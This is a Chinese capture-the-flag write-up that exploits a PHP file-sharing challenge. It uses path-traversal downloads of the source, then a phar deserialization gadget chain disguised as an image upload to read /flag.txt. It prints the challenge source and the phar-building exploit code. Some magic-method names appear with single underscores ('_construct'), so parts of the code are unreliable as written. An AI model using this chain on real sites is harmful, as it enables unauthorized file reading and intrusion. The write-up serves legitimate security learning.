打开之后先注册一个用户,然后登陆,看到可以传输文件,传一个木马改jpg上去

看到可以下载,先打开burpsuite抓个包,然后输入cookie在burp上进入我们那个用户。

image-20220226203813300

image-20220226203830438

可以看到进入我们那个用户了,能看到我们注册的用户上传的文件。

下载文件在download.php,image-20220226203916031

而且文件变量叫filename,所以抓个下载包。

image-20220226204039095

可以看出光下载我们的文件是没用的,我这个文件是用来getshell的,只不过本题不能这样,我们可以在这里下载源码

image-20220226204803166

post传参下载,注意我一开始传的../../../报错说找不到文件,需要传../../即可

image-20220226205002449

这个需要经验积累,或者只能尝试了。

image-20220226205252607

我们在源码里面找到了还有class.php和login.php,全下载下来看看。

image-20220226205417677

又在这里找到了register.php,找到的都下载!

image-20220226205920426

看到下面有file_get_contents()也就是只要让filename是flag.txt就能读出,还要想办法让其回显。

我们看到了class.php中的析构函数

1
2
__construct()
__destruct()

两个函数分别是在类实例化时和调用结束时触发,也就是construct()在刚初始化类时候,先触发,而destruct()在类调用完的时候最后触发。

还有

1
__call()函数

如果在外部调用一个类里面的不存在的函数时,PHP会自动寻找类中是否存在__call()方法,如果存在就把外部调用的函数名和参数传递给call(),参数列表以数组的形式传递

这里看到一个前人经验总结:

只要和序列化有关,就在魔术方法里

1
2
3
4
5
6
7
8
9
1. _construct()  //实例化对象时被调用, 当_construct和以类名为函数名的函数同时存在时,_construct将被调用,另一个不被调用。 
2. _destruct() //当删除一个对象或对象操作终止时被调用。
3. _call() //对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用_call函数。
4. _get() //读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用_get函数。
5. _set() //设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用_set函数。
6. _toString() //打印一个对象的时被调用。如echo obj;或printobj;
7. _sleep() //serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。
8. _wakeup() //unserialize时被调用,做些对象的初始化工作。
9. _autoload() //实例化一个对象时,如果对应的类不存在,则该方法被调用。

找高危函数比如

1
2
file_get_contents()#任意文件读取
eval()#任意命令执行

刚才又花了几个小时来捋顺这个思路,首先代码审计,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);#将此新文件的类push到数组中。
$this->results[$file->name()] = array();#即上面信息传入数组之后,在results[文件名] = 数组,即查一个文件的名字就能得到其详细信息。
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);#将传入的函数放到我们定义的funcs下
foreach ($this->files as $file) {#遍历上面传入的每个新文件的类,来查找方法,故遍历的是当前文件夹下所有类
$this->results[$file->name()][$func] = $file->$func();#找到了就调用
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {//此处为上传文件类
public $filename;

public function open($filename) {//输入上传的文件名,然后验证
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);#返回当前文件夹下路径,也就是不用带全部路径的横线之类的
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

干脆我直接将class.php放上来

我在代码上作了注释,可以看出本题从注册界面先注册用户,然后登陆验证,然后进行文件上传,上传时文件名就是filename

当USER类调用完之后,运行析构函数__destruct(),里面是close函数,然而并没有定义。此时会自动调用

1
__call()函数,将原来想调用的函数和其参数都当参数传进去

也就是Filelist.func传入了close

image-20220227003150466

在index.php中先对FileList进行初始化,传入了用户的session键值image-20220227003249082

所以现在里面有三个变量等待赋值,刚初始化时会调用__construct函数也就是针对本类的变量,每个都构建一个数组用来存放用户上传不同文件的信息。上传文件后生成文件路径$path打开路径,将文件夹下的所有文件都存入$filenames。

将filenames的每个文件都遍历,遍历时当作$fiilename然后实例化File(),如下图,然后open路径下对应的正在遍历的每一个$filename文件,open函数是定义为作验证的。然后将这个filename所在的File类信息存到$this->files数组中。然后为results数组创建映射,每个文件名对应其类信息。这样就创建好了results的映射。

image-20220227003627316

image-20220227003959627

然后调用call函数,传入close函数放到$this->func数组中,然后遍历每个我们刚才存入的File类的信息(在$this->files = array()数组中)

在每个类中寻找文件名和函数,找到了就调用,也就是在File类中找到close并调用

image-20220227004536126

应该返回$filename的内容,还要让其显示出来。这个因为在FileList调用之后会调用析构函数__destruct()函数,所以会在页面上打印出$this->filename的文件内容。我们应该让filename = /flag.txt。逻辑到此滤清了。下面看手段。

https://blog.csdn.net/u011474028/article/details/54973571?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164588745716780255253994%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=164588745716780255253994&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-3-54973571.pc_search_result_cache&utm_term=phar&spm=1018.2226.3001.4187

下面介绍PHAR方法:(上面链接可以看一下,教会我们如何写和运行基本的phar)

phar://的理解

 简单的来说他就是一个压缩文件,我们可以利用/来访问压缩包里面的内容。而且php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。我们这里利用的是后者。

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

我们举个例子:

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

建立一个空类便于操作。

然后我们在服务器中访问这个文件,就会生成一个phar.phar文件

我们用winhex打开

image-20220227005718546

这样应该看明白了

开头处为什么说必须以__HALT_COMPILER();?>来结尾,因为这里是文件头,我们可以构造出我们想要的文件头,也就是不同类型的假文件。image-20220227005836776

比如这种。构造出了gif文件。

中间我们可以自己定义一些元数据(metadata),也就是文件信息之类的吧。他会序列化进去,我们在winhex也看到了。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

img

我们来尝试一下反序列化的所得:

image-20220227010532843

然后看输出image-20220227010546135

确实将phar.phar的元数据反序列化输出了。

更具体的phar练习看https://xz.aliyun.com/t/2715

对于本题制作的phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function _construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest,反序列化让其输出flag.txt
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后上传时发现只能上传png,gif,我们修改一下文件后缀。

然后用burp抓包,传参phar伪协议代码,这个看我上面的链接有教怎么写。

image-20220227013846427

上传之后即可拿到flag.